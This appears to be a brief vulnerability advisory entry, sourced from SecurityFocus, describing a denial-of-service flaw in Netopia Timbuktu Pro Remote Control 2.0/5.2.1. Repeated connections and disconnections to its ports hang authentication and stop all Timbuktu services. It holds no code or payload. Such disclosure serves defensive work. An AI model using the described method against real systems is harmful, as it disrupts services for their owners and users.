Netopia Timbuktu Pro Remote Control 2.0/5.2.1 - Denial of Service

source: https://www.securityfocus.com/bid/984/info

Simple connections and disconnections to Timbuktu ports can hang the authentication process and halt all Timbuktu services. To return to normal functionality, the Timbuktu process will need to be killed and the Timbuktu service is required to be stopped and restarted.
